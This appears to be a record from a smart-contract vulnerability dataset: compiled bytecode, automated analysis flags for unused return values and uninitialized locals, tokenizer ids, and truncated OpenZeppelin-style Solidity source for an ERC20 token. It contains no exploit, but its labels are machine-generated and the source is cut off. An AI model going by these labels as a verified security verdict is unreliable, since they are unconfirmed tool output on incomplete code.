5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561220b57600080fd5b505afa15801561221f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122439190612db7565b92505b6002546040805163c45a015560e01b815290516000926001600160a01b03169163c45a0155916004808301926020929190829003018186803b15801561228b57600080fd5b505afa15801561229f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122c39190612db7565b6001600160a01b031663e6a4390586866040518363ffffffff1660e01b81526004016122f0929190613029565b60206040518083038186803b15801561230857600080fd5b505afa15801561231c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123409190612db7565b6001600160a01b031614611fdd576040805160028082526060808301845292602083019080368337019050509050848160008151811061237c57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505083816001815181106123aa57fe5b6001600160a01b03928316602091820292909201015260025460405163d06ca61f60e01b8152606092919091169063d06ca61f90611f6d908790869060040161341d565b6000826001600160a01b0316846001600160a01b031614156124225760405162461bcd60e51b8152600401610263906130dd565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba190612459908790600401613015565b60206040518083038186803b15801561247157600080fd5b505af4158015612485573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124a99190612e68565b1561253b57600360009054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b815260040160206040518083038186803b1580156124fc57600080fd5b505afa158015612510573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125349190612db7565b9350612650565b6040516361a6bba160e01b8152734af66235e09ff3f1e44af116434c21740781ceef906361a6bba190612572908690600401613015565b60206040518083038186803b15801561258a57600080fd5b505af415801561259e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125c29190612e68565b1561265057600360009054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b815260040160206040518083038186803b15801561261557600080fd5b505afa158015612629573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061264d9190612db7565b92505b6003546040805163c45a015560e01b815290516000926001600160a01b03169163c45a0155916004808301926020929190829003018186803b15801561269557600080fd5b505afa1580156126a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126cd9190612db7565b6001600160a01b0316631698ee828686600460149054906101000a900462ffffff166040518463ffffffff1660e01b815260040161270d93929190613043565b60206040518083038186803b15801561272557600080fd5b505afa158015612739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061275d9190612db7565b6001600160a01b031614611fdd576004805460405163f7729d4360e01b81526000926001600160a01b0383169263f7729d43926127b0928a928a92600160a01b90910462ffffff16918a9189910161306b565b602060405180830381600087803b1580156127ca57600080fd5b505af11580156127de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128029190612f81565b95945050505050565b60405163e6a4390560e01b81526000906001600160a01b0385169063e6a439059061283c9086908690600401613029565b60206040518083038186803b15801561285457600080fd5b505afa158015612868573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061288c9190612db7565b949350505050565b600080600080849050600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156128d957600080fd5b505afa1580156128ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129119190612f2d565b5091509150826001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561294f57600080fd5b505afa158015612963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129879190612db7565b9550612a0d836001600160a01b031663ba9a7a566040518163ffffffff1660e01b815260040160206040518083038186803b1580156129c557600080fd5b505afa1580156129d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129fd9190612f81565b6001600160701b03841690611b5e565b9450612a93836001600160a01b031663ba9a7a566040518163ffffffff1660e01b815260040160206040518083038186803b158015612a4b57600080fd5b505afa158015612a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a839190612f81565b6001600160701b03831690611b5e565b959794965050505050565b60006060856001600160a01b03166323b872dd868686604051602401612ac6939291906130a0565b6040516020818303038152906040529060e01b6020820180516001600160e01b038381831617835250505050604051612aff9190612fdc565b6000604051808303816000865af19150503d8060008114612b3c576040519150601f19603f3d011682016040523d82523d6000602084013e612b41565b606091505b5091509150818015612b6b575080511580612b6b575080806020019051810190612b6b9190612e68565b612b875760405162461bcd60e51b8152600401610263906131b4565b505050505050565b60006060846001600160a01b031663095ea7b38585604051602401612bb59291906130c4565b6040516020818303038152906040529060e01b6020820180516001600160e01b038381831617835250505050604051612bee9190612fdc565b6000604051808303816000865af19150503d8060008114612c2b576040519150601f19603f3d011682016040523d82523d6000602084013e612c30565b606091505b5091509150818015612c5a575080511580612c5a575080806020019051810190612c5a9190612e68565b612c765760405162461bcd60e51b8152600401610263906132bf565b5050505050565b60048054604051630b4c774160e11b81526000926001600160a01b03871692631698ee829261283c9288928892600160a01b90910462ffffff169101613043565b6040516370a0823160e01b81526000906001600160a01b038316906370a0823190612ced908690600401613015565b60206040518083038186803b158015612d0557600080fd5b505afa158015612d19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fdd9190612f81565b604051806040016040528060008152602001600081525090565b6040805161010081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e081019190915290565b600060208284031215612dac578081fd5b8135611fdd816134ff565b600060208284031215612dc8578081fd5b8151611fdd816134ff565b60006020808385031215612de5578182fd5b825167ffffffffffffffff811115612dfb578283fd5b8301601f81018513612e0b578283fd5b8051612e1e612e19826134df565b6134b8565b8181528381019083850185840285018601891015612e3a578687fd5b8694505b83851015612e5c578051835260019490940193918501918501612e3e565b50979650505050505050565b600060208284031215612e79578081fd5b81518015158114611fdd578182fd5b600080600060608486031215612e9c578182fd5b8335612ea7816134ff565b92506020840135612eb7816134ff565b929592945050506040919091013590565b600080600080600060a08688031215612edf578081fd5b8535612eea816134ff565b94506020860135612efa816134ff565b93506040860135925060608601359150608086013562ffffff81168114612f1f578182fd5b809150509295509295909350565b600080600060608486031215612f41578283fd5b8351612f4c81613514565b6020850151909350612f5d81613514565b604085015190925063ffffffff81168114612f76578182fd5b809150509250925092565b600060208284031215612f92578081fd5b5051919050565b6000815180845260208085019450808401835b83811015612fd15781516001600160a01b031687529582019590820190600101612fac565b509495945050505050565b60008251815b81811015612ffc5760208186018101518583015201612fe2565b8181111561300a5782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03938416815291909216602082015262ffffff909116604082015260600190565b6001600160a01b039586168152938516602085015262ffffff9290921660408401526060830152909116608082015260a00190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b602080825260149082015273426f746820746f6b656e73206172652073616d6560601b604082015260600190565b60208082526012908201527114185a5c88191bd95cdb89dd08195e1a5cdd60721b604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526017908201527f4e6f206d6f726520737761707320617661696c61626c65000000000000000000604082015260600190565b60208082526031908201527f5472616e7366657248656c7065723a3a7472616e7366657246726f6d3a207472604082015270185b9cd9995c919c9bdb4819985a5b1959607a1b606082015260800190565b6020808252601a908201527f496e73756666696369656e74206f757470757420616d6f756e74000000000000604082015260600190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252602b908201527f5472616e7366657248656c7065723a3a73616665417070726f76653a2061707060408201526a1c9bdd994819985a5b195960aa1b606082015260800190565b60208082526018908201527f416d6f756e7420746f6f20736d616c6c20746f20737761700000000000000000604082015260600190565b6020808252601490820152734e6f7420656e6f756768206c697175696469747960601b604082015260600190565b602080825260129082015271139bc81b1a5c5d5a591a5d1e48185919195960721b604082015260600190565b81516001600160a01b03908116825260208084015182169083015260408084015162ffffff16908301526060808401518216908301526080808401519083015260a0838101519083015260c0808401519083015260e09283015116918101919091526101000190565b62ffffff91909116815260200190565b90815260200190565b60008382526040602083015261288c6040830184612f99565b60008582526080602083015261344f6080830186612f99565b6001600160a01b03949094166040830152506060015292915050565b600086825285602083015260a0604083015261348a60a0830186612f99565b6001600160a01b0394909416606083015250608001529392505050565b91825260ff16602082015260400190565b60405181810167ffffffffffffffff811182821017156134d757600080fd5b604052919050565b600067ffffffffffffffff8211156134f5578081fd5b5060209081020190565b6001600160a01b038116811461042157600080fd5b6001600160701b038116811461042157600080fdfea2646970667358221220b8fd7c60dd03307f4c7e82ba78a8c23ce0ac68f92cc038e7f8726af25ca35d8964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2475, 9818, 26224, 2487, 2094, 2581, 28756, 2546, 2575, 2509, 2497, 22932, 2692, 2683, 2546, 2575, 2050, 2620, 2683, 2629, 2546, 2487, 4215, 2575, 7011, 2683, 7011, 7011, 2575, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,073
0x962c104d7e434c5676c4c9b797ebcfbe5ec54be7
/* SPDX-License-Identifier: MIT */ pragma solidity ^0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also MAMBA. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/la/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to 